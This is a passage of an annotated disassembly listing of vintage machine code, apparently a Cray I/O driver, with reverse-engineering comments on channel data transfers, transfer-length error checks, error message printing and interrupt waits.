0x0465 (0x0008CA) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0466 (0x0008CC) 0x2931- f:00024 d: 305 | OR[305] = A
0x0467 (0x0008CE) 0x2131- f:00020 d: 305 | A = OR[305]
0x0468 (0x0008D0) 0x8602- f:00103 d: 2 | P = P + 2 (0x046A), A # 0
0x0469 (0x0008D2) 0x7047- f:00070 d: 71 | P = P + 71 (0x04B0)
0x046A (0x0008D4) 0x2122- f:00020 d: 290 | A = OR[290]
0x046B (0x0008D6) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x046C (0x0008D8) 0x2908- f:00024 d: 264 | OR[264] = A
0x046D (0x0008DA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x046E (0x0008DC) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x046F (0x0008DE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0470 (0x0008E0) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x0471 (0x0008E2) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0472 (0x0008E4) 0x2122- f:00020 d: 290 | A = OR[290]
0x0473 (0x0008E6) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0474 (0x0008E8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0475 (0x0008EA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0476 (0x0008EC) 0x0E05- f:00007 d: 5 | A = A << 5 (0x0005)
0x0477 (0x0008EE) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0478 (0x0008F0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0479 (0x0008F2) 0x0C06- f:00006 d: 6 | A = A >> 6 (0x0006)
0x047A (0x0008F4) 0x3908- f:00034 d: 264 | (OR[264]) = A
@ Call runtime manager function 36 - sending packet to mainframe
0x047B (0x0008F6) 0x1024- f:00010 d: 36 | A = 36 (0x0024)
0x047C (0x0008F8) 0x293A- f:00024 d: 314 | OR[314] = A
0x047D (0x0008FA) 0x2122- f:00020 d: 290 | A = OR[290]
0x047E (0x0008FC) 0x293B- f:00024 d: 315 | OR[315] = A
0x047F (0x0008FE) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0480 (0x000900) 0x5800- f:00054 d: 0 | B = A
0x0481 (0x000902) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x0483 (0x000906) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0484 (0x000908) 0x2006- f:00020 d: 6 | A = OR[6]
0x0485 (0x00090A) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0486 (0x00090C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0487 (0x00090E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0488 (0x000910) 0x2932- f:00024 d: 306 | OR[306] = A
0x0489 (0x000912) 0x2122- f:00020 d: 290 | A = OR[290]
0x048A (0x000914) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x048B (0x000916) 0x2908- f:00024 d: 264 | OR[264] = A
0x048C (0x000918) 0x3108- f:00030 d: 264 | A = (OR[264])
0x048D (0x00091A) 0x2921- f:00024 d: 289 | OR[289] = A
0x048E (0x00091C) 0x2132- f:00020 d: 306 | A = OR[306]
0x048F (0x00091E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0491), A = 0
0x0490 (0x000920) 0x700A- f:00070 d: 10 | P = P + 10 (0x049A)
@ Call runtime manager function 23
0x0491 (0x000922) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x0492 (0x000924) 0x293A- f:00024 d: 314 | OR[314] = A
0x0493 (0x000926) 0x2121- f:00020 d: 289 | A = OR[289]
0x0494 (0x000928) 0x293B- f:00024 d: 315 | OR[315] = A
0x0495 (0x00092A) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0496 (0x00092C) 0x5800- f:00054 d: 0 | B = A
0x0497 (0x00092E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0498 (0x000930) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0499 (0x000932) 0x7017- f:00070 d: 23 | P = P + 23 (0x04B0)
0x049A (0x000934) 0x2132- f:00020 d: 306 | A = OR[306]
0x049B (0x000936) 0x1E00-0x0044 f:00017 d: 0 | A = A - 68 (0x0044)
0x049D (0x00093A) 0x8602- f:00103 d: 2 | P = P + 2 (0x049F), A # 0
0x049E (0x00093C) 0x700E- f:00070 d: 14 | P = P + 14 (0x04AC)
0x049F (0x00093E) 0x2132- f:00020 d: 306 | A = OR[306]
0x04A0 (0x000940) 0x1E00-0x0034 f:00017 d: 0 | A = A - 52 (0x0034)
0x04A2 (0x000944) 0x8602- f:00103 d: 2 | P = P + 2 (0x04A4), A # 0
0x04A3 (0x000946) 0x7009- f:00070 d: 9 | P = P + 9 (0x04AC)
@ Call runtime manager function 23
0x04A4 (0x000948) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x04A5 (0x00094A) 0x293A- f:00024 d: 314 | OR[314] = A
0x04A6 (0x00094C) 0x2121- f:00020 d: 289 | A = OR[289]
0x04A7 (0x00094E) 0x293B- f:00024 d: 315 | OR[315] = A
0x04A8 (0x000950) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x04A9 (0x000952) 0x5800- f:00054 d: 0 | B = A
0x04AA (0x000954) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04AB (0x000956) 0x7C09- f:00076 d: 9 | R = OR[9]
0x04AC (0x000958) 0x1800-0x002A f:00014 d: 0 | A = 42 (0x002A) @ print error message: 'Cray POLL error'
0x04AE (0x00095C) 0x291C- f:00024 d: 284 | OR[284] = A
0x04AF (0x00095E) 0x70C6- f:00070 d: 198 | P = P + 198 (0x0575)
0x04B0 (0x000960) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04B1 (0x000962) 0x2938- f:00024 d: 312 | OR[312] = A
0x04B2 (0x000964) 0x212B- f:00020 d: 299 | A = OR[299]
0x04B3 (0x000966) 0x8602- f:00103 d: 2 | P = P + 2 (0x04B5), A # 0
0x04B4 (0x000968) 0x700B- f:00070 d: 11 | P = P + 11 (0x04BF)
@ Call runtime manager function 27: release memory
0x04B5 (0x00096A) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x04B6 (0x00096C) 0x293A- f:00024 d: 314 | OR[314] = A
0x04B7 (0x00096E) 0x212B- f:00020 d: 299 | A = OR[299]
0x04B8 (0x000970) 0x293B- f:00024 d: 315 | OR[315] = A
0x04B9 (0x000972) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x04BA (0x000974) 0x5800- f:00054 d: 0 | B = A
0x04BB (0x000976) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04BC (0x000978) 0x7C09- f:00076 d: 9 | R = OR[9]
0x04BD (0x00097A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04BE (0x00097C) 0x292B- f:00024 d: 299 | OR[299] = A
0x04BF (0x00097E) 0x212C- f:00020 d: 300 | A = OR[300]
0x04C0 (0x000980) 0x8602- f:00103 d: 2 | P = P + 2 (0x04C2), A # 0
0x04C1 (0x000982) 0x700B- f:00070 d: 11 | P = P + 11 (0x04CC)
@ Call runtime manager function 27: release memory
0x04C2 (0x000984) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x04C3 (0x000986) 0x293A- f:00024 d: 314 | OR[314] = A
0x04C4 (0x000988) 0x212C- f:00020 d: 300 | A = OR[300]
0x04C5 (0x00098A) 0x293B- f:00024 d: 315 | OR[315] = A
0x04C6 (0x00098C) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x04C7 (0x00098E) 0x5800- f:00054 d: 0 | B = A
0x04C8 (0x000990) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04C9 (0x000992) 0x7C09- f:00076 d: 9 | R = OR[9]
0x04CA (0x000994) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04CB (0x000996) 0x292C- f:00024 d: 300 | OR[300] = A
0x04CC (0x000998) 0x211B- f:00020 d: 283 | A = OR[283]
0x04CD (0x00099A) 0x8602- f:00103 d: 2 | P = P + 2 (0x04CF), A # 0
0x04CE (0x00099C) 0x7037- f:00070 d: 55 | P = P + 55 (0x0505)
0x04CF (0x00099E) 0x2102- f:00020 d: 258 | A = OR[258]
0x04D0 (0x0009A0) 0x5800- f:00054 d: 0 | B = A
0x04D1 (0x0009A2) 0xE000- f:00160 d: 0 | IOB , fn000
0x04D2 (0x0009A4) 0xE600- f:00163 d: 0 | IOB , fn003
0x04D3 (0x0009A6) 0xEC00- f:00166 d: 0 | IOB , fn006
0x04D4 (0x0009A8) 0x2102- f:00020 d: 258 | A = OR[258]
0x04D5 (0x0009AA) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x04D6 (0x0009AC) 0x5800- f:00054 d: 0 | B = A
0x04D7 (0x0009AE) 0xE000- f:00160 d: 0 | IOB , fn000
0x04D8 (0x0009B0) 0xE600- f:00163 d: 0 | IOB , fn003
0x04D9 (0x0009B2) 0xEC00- f:00166 d: 0 | IOB , fn006
@ Call CONCID
0x04DA (0x0009B4) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x04DB (0x0009B6) 0x293A- f:00024 d: 314 | OR[314] = A
0x04DC (0x0009B8) 0x1800-0x00F8 f:00014 d: 0 | A = 248 (0x00F8)
0x04DE (0x0009BC) 0x293B- f:00024 d: 315 | OR[315] = A
0x04DF (0x0009BE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x04E0 (0x0009C0) 0x293C- f:00024 d: 316 | OR[316] = A
0x04E1 (0x0009C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04E2 (0x0009C4) 0x293D- f:00024 d: 317 | OR[317] = A
0x04E3 (0x0009C6) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x04E4 (0x0009C8) 0x5800- f:00054 d: 0 | B = A
0x04E5 (0x0009CA) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x04E7 (0x0009CE) 0x7C09- f:00076 d: 9 | R = OR[9]
@ Call runtime manager function 25: release OR[256] buffer memory
0x04E8 (0x0009D0) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x04E9 (0x0009D2) 0x293A- f:00024 d: 314 | OR[314] = A
0x04EA (0x0009D4) 0x2100- f:00020 d: 256 | A = OR[256]
0x04EB (0x0009D6) 0x293B- f:00024 d: 315 | OR[315] = A
0x04EC (0x0009D8) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x04ED (0x0009DA) 0x5800- f:00054 d: 0 | B = A
0x04EE (0x0009DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04EF (0x0009DE) 0x7C09- f:00076 d: 9 | R = OR[9]
0x04F0 (0x0009E0) 0x2101- f:00020 d: 257 | A = OR[257]
0x04F1 (0x0009E2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x04F2 (0x0009E4) 0x2908- f:00024 d: 264 | OR[264] = A
0x04F3 (0x0009E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x04F4 (0x0009E8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x04F5 (0x0009EA) 0x3101- f:00030 d: 257 | A = (OR[257])
0x04F6 (0x0009EC) 0x1A00-0xDFFF f:00015 d: 0 | A = A & 57343 (0xDFFF)
0x04F8 (0x0009F0) 0x3901- f:00034 d: 257 | (OR[257]) = A
0x04F9 (0x0009F2) 0x3101- f:00030 d: 257 | A = (OR[257])
0x04FA (0x0009F4) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x04FB (0x0009F6) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x04FC (0x0009F8) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x04FD (0x0009FA) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x04FE (0x0009FC) 0x3901- f:00034 d: 257 | (OR[257]) = A
@ Call runtime manager function 3
0x04FF (0x0009FE) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0500 (0x000A00) 0x293A- f:00024 d: 314 | OR[314] = A
0x0501 (0x000A02) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0502 (0x000A04) 0x5800- f:00054 d: 0 | B = A
0x0503 (0x000A06) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0504 (0x000A08) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0505 (0x000A0A) 0x1800-0xFFF8 f:00014 d: 0 | A = 65528 (0xFFF8)
0x0507 (0x000A0E) 0x292D- f:00024 d: 301 | OR[301] = A
0x0508 (0x000A10) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0509 (0x000A12) 0x2925- f:00024 d: 293 | OR[293] = A
0x050A (0x000A14) 0x2118- f:00020 d: 280 | A = OR[280]
0x050B (0x000A16) 0x292E- f:00024 d: 302 | OR[302] = A
0x050C (0x000A18) 0x7A03-0x0038 f:00075 d: 3 | P = OR[3]+56 (0x0038)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Start concentrator data transfer
@@ Input:
@@ OR[301]: if 0xfff9 -> output packet, if not --> input packet
@@ OR[304]: either 0 or 1
@@ OR[302]: data buffer
@@ OR[293]: parcel count for output
@@
@@ Output:
@@ OR[304]: set to 1
0x050E (0x000A1C) 0x2130- f:00020 d: 304 | A = OR[304] @ Set OR[304] to 1
0x050F (0x000A1E) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0510 (0x000A20) 0x2930- f:00024 d: 304 | OR[304] = A
0x0511 (0x000A22) 0x2100- f:00020 d: 256 | A = OR[256] @ Put OR[304] into bit-15 of offset 62
0x0512 (0x000A24) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x0513 (0x000A26) 0x2908- f:00024 d: 264 | OR[264] = A
0x0514 (0x000A28) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0515 (0x000A2A) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x0516 (0x000A2C) 0x2530- f:00022 d: 304 | A = A + OR[304]
0x0517 (0x000A2E) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x0518 (0x000A30) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0519 (0x000A32) 0x2102- f:00020 d: 258 | A = OR[258] @ Read channel number into B
0x051A (0x000A34) 0x5800- f:00054 d: 0 | B = A
0x051B (0x000A36) 0x2125- f:00020 d: 293 | A = OR[293] @ Load parcel count from OR[293]
0x051C (0x000A38) 0x2913- f:00024 d: 275 | OR[275] = A
0x051D (0x000A3A) 0x212D- f:00020 d: 301 | A = OR[301]
0x051E (0x000A3C) 0x1E00-0xFFF9 f:00017 d: 0 | A = A - 65529 (0xFFF9)
0x0520 (0x000A40) 0x8402- f:00102 d: 2 | P = P + 2 (0x0522), A = 0
0x0521 (0x000A42) 0x7003- f:00070 d: 3 | P = P + 3 (0x0524)
0x0522 (0x000A44) 0x5C00- f:00056 d: 0 | B = B + 1
0x0523 (0x000A46) 0x700D- f:00070 d: 13 | P = P + 13 (0x0530) @ For output, just go ahead
@ Read packet: do some additional parameter tests
0x0524 (0x000A48) 0x212E- f:00020 d: 302 | A = OR[302] @ Check to see if start address matches OR[299] or OR[300]. If it does, check if OR[313] is 0. If all that is true, overwrite parcel-count with 2048
0x0525 (0x000A4A) 0x272B- f:00023 d: 299 | A = A - OR[299]
0x0526 (0x000A4C) 0x8405- f:00102 d: 5 | P = P + 5 (0x052B), A = 0
0x0527 (0x000A4E) 0x212E- f:00020 d: 302 | A = OR[302]
0x0528 (0x000A50) 0x272C- f:00023 d: 300 | A = A - OR[300]
0x0529 (0x000A52) 0x8402- f:00102 d: 2 | P = P + 2 (0x052B), A = 0
0x052A (0x000A54) 0x7006- f:00070 d: 6 | P = P + 6 (0x0530)
0x052B (0x000A56) 0x2139- f:00020 d: 313 | A = OR[313]
0x052C (0x000A58) 0x8604- f:00103 d: 4 | P = P + 4 (0x0530), A # 0
0x052D (0x000A5A) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800)
0x052F (0x000A5E) 0x2913- f:00024 d: 275 | OR[275] = A
0x0530 (0x000A60) 0xE000- f:00160 d: 0 | IOB , fn000 @ CI/CO Clear channel
0x0531 (0x000A62) 0xEE00- f:00167 d: 0 | IOB , fn007 @ CI/CO Set interrupt enable
0x0532 (0x000A64) 0x2113- f:00020 d: 275 | A = OR[275]
0x0533 (0x000A66) 0xE400- f:00162 d: 0 | IOB , fn002 @ CI/CO enter parcel count
0x0534 (0x000A68) 0x212E- f:00020 d: 302 | A = OR[302]
0x0535 (0x000A6A) 0xE200- f:00161 d: 0 | IOB , fn001 @ CI/CO enter start address, start read
0x0536 (0x000A6C) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Test transfer completed
@@ Input:
@@ OR[301]: if 0xfff9 -> output packet, if not --> input packet
@@ OR[284]: Error code global
@@ OR[302]: data buffer
@@ OR[293]: intended parcel count
@@ OR[258]: CI channel number
@@ Output:
@@ OR[284]: set to proper error-code if transfer length doesn't match
0x0537 (0x000A6E) 0x211C- f:00020 d: 284 | A = OR[284] @ If OR[284] is 75 (channel error), return immediately
0x0538 (0x000A70) 0x1E00-0x004B f:00017 d: 0 | A = A - 75 (0x004B)
0x053A (0x000A74) 0x8602- f:00103 d: 2 | P = P + 2 (0x053C), A # 0
0x053B (0x000A76) 0x7033- f:00070 d: 51 | P = P + 51 (0x056E)
0x053C (0x000A78) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x053D (0x000A7A) 0x291C- f:00024 d: 284 | OR[284] = A @ Zero-out OR[284]
0x053E (0x000A7C) 0x2102- f:00020 d: 258 | A = OR[258]
0x053F (0x000A7E) 0x5800- f:00054 d: 0 | B = A
0x0540 (0x000A80) 0x212D- f:00020 d: 301 | A = OR[301]
0x0541 (0x000A82) 0x1E00-0xFFF9 f:00017 d: 0 | A = A - 65529 (0xFFF9)
0x0543 (0x000A86) 0x8602- f:00103 d: 2 | P = P + 2 (0x0545), A # 0
0x0544 (0x000A88) 0x5C00- f:00056 d: 0 | B = B + 1
0x0545 (0x000A8A) 0xF000- f:00170 d: 0 | IOB , fn010 @ CI/CO read I/O memory address into OR[307]
0x0546 (0x000A8C) 0x2933- f:00024 d: 307 | OR[307] = A
0x0547 (0x000A8E) 0x212E- f:00020 d: 302 | A = OR[302] @ Compute last address from start + length and store it in OR[308]
0x0548 (0x000A90) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x0549 (0x000A92) 0x2934- f:00024 d: 308 | OR[308] = A
0x054A (0x000A94) 0x1000- f:00010 d: 0 | A = 0 (0x0000) @ OR[275] seems to be some kind of 'size offset'
0x054B (0x000A96) 0x2913- f:00024 d: 275 | OR[275] = A
@ We're transferring from/to one of the 2k buffers, it's an input operation and OR[313] is 0, overwrite OR[275] with 3 and set OR[313] to 1
0x054C (0x000A98) 0x212E- f:00020 d: 302 | A = OR[302]
0x054D (0x000A9A) 0x272B- f:00023 d: 299 | A = A - OR[299]
0x054E (0x000A9C) 0x8405- f:00102 d: 5 | P = P + 5 (0x0553), A = 0
0x054F (0x000A9E) 0x212E- f:00020 d: 302 | A = OR[302]
0x0550 (0x000AA0) 0x272C- f:00023 d: 300 | A = A - OR[300]
0x0551 (0x000AA2) 0x8402- f:00102 d: 2 | P = P + 2 (0x0553), A = 0
0x0552 (0x000AA4) 0x700D- f:00070 d: 13 | P = P + 13 (0x055F)
0x0553 (0x000AA6) 0x212D- f:00020 d: 301 | A = OR[301]
0x0554 (0x000AA8) 0x1E00-0xFFF8 f:00017 d: 0 | A = A - 65528 (0xFFF8)
0x0556 (0x000AAC) 0x8402- f:00102 d: 2 | P = P + 2 (0x0558), A = 0
0x0557 (0x000AAE) 0x7008- f:00070 d: 8 | P = P + 8 (0x055F)
0x0558 (0x000AB0) 0x2139- f:00020 d: 313 | A = OR[313]
0x0559 (0x000AB2) 0x8402- f:00102 d: 2 | P = P + 2 (0x055B), A = 0
0x055A (0x000AB4) 0x7005- f:00070 d: 5 | P = P + 5 (0x055F)
0x055B (0x000AB6) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x055C (0x000AB8) 0x2913- f:00024 d: 275 | OR[275] = A
0x055D (0x000ABA) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x055E (0x000ABC) 0x2939- f:00024 d: 313 | OR[313] = A
@ We're not transferring from/to one of the 2k buffers
0x055F (0x000ABE) 0x2133- f:00020 d: 307 | A = OR[307] @ If transfer isn't complete (I/O address is before the expected end address), set OR[284] to 44 (length error) and return
0x0560 (0x000AC0) 0x2734- f:00023 d: 308 | A = A - OR[308]
0x0561 (0x000AC2) 0x800A- f:00100 d: 10 | P = P + 10 (0x056B), C = 0
0x0562 (0x000AC4) 0x2134- f:00020 d: 308 | A = OR[308] @ OR[264] is the real end address + 3 if we're transferring to a 2k buffer, input, and OR[313] is 1.
0x0563 (0x000AC6) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x0564 (0x000AC8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0565 (0x000ACA) 0x2133- f:00020 d: 307 | A = OR[307] @ Make sure the transfer didn't cross the 3 extra WORDs, that is: we transferred exactly the buffer size or in the case where it's 3 more, we are somewhere in between the buffer length and +3.
0x0566 (0x000ACC) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0567 (0x000ACE) 0x8003- f:00100 d: 3 | P = P + 3 (0x056A), C = 0
0x0568 (0x000AD0) 0x8402- f:00102 d: 2 | P = P + 2 (0x056A), A = 0
0x0569 (0x000AD2) 0x7002- f:00070 d: 2 | P = P + 2 (0x056B)
0x056A (0x000AD4) 0x7004- f:00070 d: 4 | P = P + 4 (0x056E)
0x056B (0x000AD6) 0x1800-0x002C f:00014 d: 0 | A = 44 (0x002C) @ Set error code to transfer length error
0x056D (0x000ADA) 0x291C- f:00024 d: 284 | OR[284] = A
0x056E (0x000ADC) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Set 'write-disconnect' on CO
@@ Input:
@@ OR[258]: CI channel index
0x056F (0x000ADE) 0x2102- f:00020 d: 258 | A = OR[258]
0x0570 (0x000AE0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0571 (0x000AE2) 0x5800- f:00054 d: 0 | B = A
0x0572 (0x000AE4) 0x1100- f:00010 d: 256 | A = 256 (0x0100)
0x0573 (0x000AE6) 0xE800- f:00164 d: 0 | IOB , fn004
0x0574 (0x000AE8) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Print error message
@@ Input:
@@ OR[256]:
@@ OR[284]: Error message code
@@ OR[299]: This is some internal 2k buffer.
@@ OR[258]: CI channel
0x0575 (0x000AEA) 0x2102- f:00020 d: 258 | A = OR[258]
0x0576 (0x000AEC) 0x5800- f:00054 d: 0 | B = A
0x0577 (0x000AEE) 0xEC00- f:00166 d: 0 | IOB , fn006 @ CI Clear interrupt enable
0x0578 (0x000AF0) 0x2102- f:00020 d: 258 | A = OR[258]
0x0579 (0x000AF2) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x057A (0x000AF4) 0x5800- f:00054 d: 0 | B = A
0x057B (0x000AF6) 0xEC00- f:00166 d: 0 | IOB , fn006 @ CO Clear interrupt enable
0x057C (0x000AF8) 0x2100- f:00020 d: 256 | A = OR[256] @ Read buffer offset 62, lower byte (stage) into OR[305]
0x057D (0x000AFA) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x057E (0x000AFC) 0x2908- f:00024 d: 264 | OR[264] = A
0x057F (0x000AFE) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0580 (0x000B00) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0581 (0x000B02) 0x2931- f:00024 d: 305 | OR[305] = A
@ Call CONCERR
0x0582 (0x000B04) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0583 (0x000B06) 0x293A- f:00024 d: 314 | OR[314] = A
0x0584 (0x000B08) 0x1800-0x00F7 f:00014 d: 0 | A = 247 (0x00F7)
0x0586 (0x000B0C) 0x293B- f:00024 d: 315 | OR[315] = A
0x0587 (0x000B0E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0588 (0x000B10) 0x293C- f:00024 d: 316 | OR[316] = A
0x0589 (0x000B12) 0x212B- f:00020 d: 299 | A = OR[299]
0x058A (0x000B14) 0x293D- f:00024 d: 317 | OR[317] = A
0x058B (0x000B16) 0x2131- f:00020 d: 305 | A = OR[305]
0x058C (0x000B18) 0x293E- f:00024 d: 318 | OR[318] = A
0x058D (0x000B1A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x058E (0x000B1C) 0x293F- f:00024 d: 319 | OR[319] = A
0x058F (0x000B1E) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0590 (0x000B20) 0x5800- f:00054 d: 0 | B = A
0x0591 (0x000B22) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x0593 (0x000B26) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0594 (0x000B28) 0x2131- f:00020 d: 305 | A = OR[305]
0x0595 (0x000B2A) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x0596 (0x000B2C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0598), A = 0
0x0597 (0x000B2E) 0x7007- f:00070 d: 7 | P = P + 7 (0x059E)
0x0598 (0x000B30) 0x211C- f:00020 d: 284 | A = OR[284]
0x0599 (0x000B32) 0x1E00-0x002A f:00017 d: 0 | A = A - 42 (0x002A)
0x059B (0x000B36) 0x8602- f:00103 d: 2 | P = P + 2 (0x059D), A # 0
0x059C (0x000B38) 0x7002- f:00070 d: 2 | P = P + 2 (0x059E)
0x059D (0x000B3A) 0x762E- f:00073 d: 46 | R = P - 46 (0x056F) @ Set 'write-disconnect' on CO; OR[258]: CI channel index
0x059E (0x000B3C) 0x2131- f:00020 d: 305 | A = OR[305]
0x059F (0x000B3E) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x05A0 (0x000B40) 0x8405- f:00102 d: 5 | P = P + 5 (0x05A5), A = 0
0x05A1 (0x000B42) 0x2131- f:00020 d: 305 | A = OR[305]
0x05A2 (0x000B44) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x05A3 (0x000B46) 0x8402- f:00102 d: 2 | P = P + 2 (0x05A5), A = 0
0x05A4 (0x000B48) 0x700C- f:00070 d: 12 | P = P + 12 (0x05B0)
0x05A5 (0x000B4A) 0x2D38- f:00026 d: 312 | OR[312] = OR[312] + 1
0x05A6 (0x000B4C) 0x2138- f:00020 d: 312 | A = OR[312]
0x05A7 (0x000B4E) 0x1700- f:00013 d: 256 | A = A - 256 (0x0100)
0x05A8 (0x000B50) 0x8003- f:00100 d: 3 | P = P + 3 (0x05AB), C = 0
0x05A9 (0x000B52) 0x8402- f:00102 d: 2 | P = P + 2 (0x05AB), A = 0
0x05AA (0x000B54) 0x7002- f:00070 d: 2 | P = P + 2 (0x05AC)
0x05AB (0x000B56) 0x7004- f:00070 d: 4 | P = P + 4 (0x05AF)
0x05AC (0x000B58) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x05AD (0x000B5A) 0x291B- f:00024 d: 283 | OR[283] = A
0x05AE (0x000B5C) 0x72FC- f:00071 d: 252 | P = P - 252 (0x04B2)
0x05AF (0x000B5E) 0x700B- f:00070 d: 11 | P = P + 11 (0x05BA)
0x05B0 (0x000B60) 0x2D37- f:00026 d: 311 | OR[311] = OR[311] + 1
0x05B1 (0x000B62) 0x2137- f:00020 d: 311 | A = OR[311]
0x05B2 (0x000B64) 0x1700- f:00013 d: 256 | A = A - 256 (0x0100)
0x05B3 (0x000B66) 0x8003- f:00100 d: 3 | P = P + 3 (0x05B6), C = 0
0x05B4 (0x000B68) 0x8402- f:00102 d: 2 | P = P + 2 (0x05B6), A = 0
0x05B5 (0x000B6A) 0x7002- f:00070 d: 2 | P = P + 2 (0x05B7)
0x05B6 (0x000B6C) 0x7004- f:00070 d: 4 | P = P + 4 (0x05BA)
0x05B7 (0x000B6E) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x05B8 (0x000B70) 0x291B- f:00024 d: 283 | OR[283] = A
0x05B9 (0x000B72) 0x7307- f:00071 d: 263 | P = P - 263 (0x04B2)
0x05BA (0x000B74) 0x7A03-0x002D f:00075 d: 3 | P = OR[3]+45 (0x002D)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Wait for CI/CO interrupt
@@ Input:
@@ OR[282]: points to buffer offset 63
@@ Return:
@@ OR[284]: old value of buffer offset 63 (offset 63 gets zeroed out)
@@ A: 0 if timed out waiting for interrupt
0x05BC (0x000B78) 0x1000- f:00010 d: 0 | A = 0 (0x0000) @ Zero out OR[310]
0x05BD (0x000B7A) 0x2936- f:00024 d: 310 | OR[310] = A
0x05BE (0x000B7C) 0x311A- f:00030 d: 282 | A = (OR[282]) @ If buffer offset 63 is non-0, return immediately
0x05BF (0x000B7E) 0x8402- f:00102 d: 2 | P = P + 2 (0x05C1), A = 0
0x05C0 (0x000B80) 0x7014- f:00070 d: 20 | P = P + 20 (0x05D4)
@ Call runtime manager function 9 - wait for interrupt
